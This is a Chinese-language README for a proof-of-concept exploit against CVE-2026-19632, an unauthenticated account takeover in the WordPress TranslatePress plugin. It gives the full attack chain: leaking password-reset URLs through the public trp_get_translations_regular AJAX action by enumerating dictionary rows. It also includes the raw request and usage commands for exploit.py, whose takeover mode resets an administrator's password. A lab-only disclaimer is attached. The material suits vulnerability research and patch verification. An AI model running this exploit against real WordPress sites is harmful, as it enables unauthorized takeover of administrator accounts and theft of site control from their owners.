CVE: CVE-2026-19632 | CVSS: 9.8(严重)
通过 WordPress 的 TranslatePress 插件实现未认证账户接管。 从 CVE 发布到可用的 Day-One PoC 所用时间:5 小时 9 分 40 秒
影响版本至 3.3.1(含);该问题已在 3.3.2 中修复。
TranslatePress 可以翻译 WordPress 外发的电子邮件,并将其翻译后的字符串保存到数据库中。
TranslatePress 还会将包含完整重置链接(含密钥)的密码重置邮件直接保存到翻译表中。
未认证的攻击者随后可以通过一个公开的 TranslatePress AJAX 操作查询这些行:
触发密码重置
-> 重置邮件被翻译
-> 重置 URL 被保存到次要语言词典中
-> 公开的 AJAX 端点返回该行
-> 使用该 URL 设置新的管理员密码
https://github.com/user-attachments/assets/83469be4-ab85-4380-aedc-4d0406ab5a6b
该利用链需要满足以下条件:
当 WordPress 发送重置邮件时,TranslatePress 会切换到收件人的首选语言,并将邮件送入其翻译管道。存在漏洞的版本会保存此过程中遇到的字符串,包括重置 URL。
TranslatePress 还为未认证访客注册了 trp_get_translations_regular。其 nonce 暴露在公开的翻译页面上,且该请求接受攻击者选择的词典行 ID。枚举这些 ID 即可揭示已存储的重置邮件及其可用的重置链接。
| 步骤 | 操作 |
|---|---|
| 1 | 加载 /he/cve-lab-seed/ 并提取公开的 TranslatePress AJAX nonce。 |
| 2 | 为 labadmin 提交 WordPress 的忘记密码表单。 |
| 3 | TranslatePress 使用管理员的希伯来语语言环境处理重置邮件。 |
| 4 | 通过 trp_get_translations_regular 枚举词典行。 |
| 5 | 提取最新匹配的 wp-login.php?action=rp 重置 URL。 |
| 6 | 打开该 URL 并提交新密码。 |
| 7 | 重新登录,需要同时具备 WordPress 登录 Cookie 和 /wp-admin/ 访问权限。 |
相关的未认证请求格式如下:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:19632
Content-Type: application/x-www-form-urlencoded
action=trp_get_translations_regular&security=PUBLIC_NONCE&language=he_IL&string_ids=[1,2,3]
nonce 和有用的行 ID 是动态的,因此 exploit.py 会自行发现它们,而非硬编码。
最小用法:
python3 .\exploit.py --new-password 'Your-New-Password!'
python3 .\exploit.py \
--url http://127.0.0.1:19632 \
--username labadmin \
--language he_IL \
--public-path /he/cve-lab-seed/ \
--start-id 1 \
--max-id 500 \
--batch-size 100 \
--timeout 15 \
--settle-seconds 1 \
--stop-after takeover \
--new-password 'Your-New-Password!'
仅泄露重置 URL 而不修改密码:
python .\exploit.py --stop-after leak
仅触发密码重置邮件:
python .\exploit.py --stop-after reset
| 参数 | 默认值 | 用途 |
|---|---|---|
--url | http://127.0.0.1:19632 | WordPress 基础 URL。 |
--username | labadmin | 请求重置密码的账户。 |
--language | he_IL | PoC 查询的次要语言词典。 |
--public-path | /he/cve-lab-seed/ | 用于获取 AJAX nonce 的公开翻译页面。 |
--new-password | 无 | 新密码;使用 --stop-after takeover 时必填。 |
--start-id | 1 | 请求的第一个词典行 ID。 |
--max-id | 500 | 请求的最后一个词典行 ID。若未找到重置 URL,请增大该值。 |
--batch-size | 100 | 每次 AJAX 调用请求的词典 ID 数量。有效范围:1-500。 |
--timeout | 15 | HTTP 超时时间(秒)。 |
--settle-seconds | 1 | 请求重置邮件后的等待时间。 |
--stop-after | takeover | 在 reset、leak 或完整 takeover 之后停止。 |
本项目仅用于在隔离的实验室环境中进行授权的安全研究、教育和测试。
该漏洞最初由 momopon1415 发现并披露。
未经所有者明确授权,请勿将此软件用于任何系统、网络或数据。您有责任遵守所有适用法律,并对因使用本项目而产生的任何后果承担全部责任。
作者 YonLiud 按“原样”提供本项目,不提供任何形式的担保,并且不对因本软件或其衍生作品造成的损害、数据丢失、服务中断、未经授权的访问或其他滥用行为承担任何责任。
使用本项目即表示您确认并接受上述条件。